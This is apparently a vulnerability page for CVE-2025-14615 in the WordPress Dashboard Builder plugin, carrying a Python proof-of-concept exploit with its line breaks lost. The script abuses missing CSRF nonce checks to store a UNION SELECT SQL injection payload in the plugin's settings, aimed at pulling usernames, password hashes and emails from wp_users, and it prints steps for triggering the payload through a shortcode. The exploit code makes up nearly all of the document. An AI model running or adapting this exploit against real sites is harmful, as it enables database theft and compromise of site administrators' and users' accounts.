CVE-2025-14615 WordPress Dashboard Builder插件CSRF导致SQL注入漏洞

import requests import sys from urllib.parse import urlencode # CVE-2025-14615 PoC - CSRF to SQL Injection in Dashboard Builder WordPress Plugin # This PoC demonstrates how an attacker can exploit missing CSRF protection # to inject malicious SQL queries via the settings handler TARGET_URL = "http://target-wordpress-site.com" ADMIN_COOKIE = "wordpress_logged_in_cookie_here" def create_csrf_payload(): """ Generate malicious request to modify SQL query in dashboard builder settings. The injected SQL can be used to exfiltrate data from the database. """ # Malicious SQL injection payload # This payload attempts to extract user credentials from wp_users table malicious_sql = "UNION SELECT 1,user_login,user_pass,user_email,5,6,7,8,9,10 FROM wp_users--" payload = { 'action': 'dashboard_builder_save_settings', 'db_host': 'localhost', 'db_name': 'wordpress_db', 'db_user': 'wp_user', 'db_pass': 'password', 'sql_query': malicious_sql, 'nonce': '' # Missing nonce validation allows CSRF attack } return payload def exploit_csrf(): """ Send CSRF attack to modify dashboard builder settings. Requires admin interaction (tricking admin into clicking link). """ admin_url = f"{TARGET_URL}/wp-admin/admin.php?page=dashboard-builder-settings" headers = { 'Cookie': ADMIN_COOKIE, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } payload = create_csrf_payload() print("[*] Sending CSRF payload to modify dashboard builder settings...") print(f"[*] Target: {admin_url}") print(f"[*] Payload: {payload['sql_query']}") try: response = requests.post( admin_url, data=payload, headers=headers, timeout=30 ) print(f"[+] Response Status: {response.status_code}") if response.status_code == 200: print("[+] Settings modified successfully - SQL injection payload stored") print("[*] Visit page with [show-dashboardbuilder] shortcode to trigger injection") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": print("="*60) print("CVE-2025-14615 - Dashboard Builder CSRF to SQL Injection") print("="*60) exploit_csrf()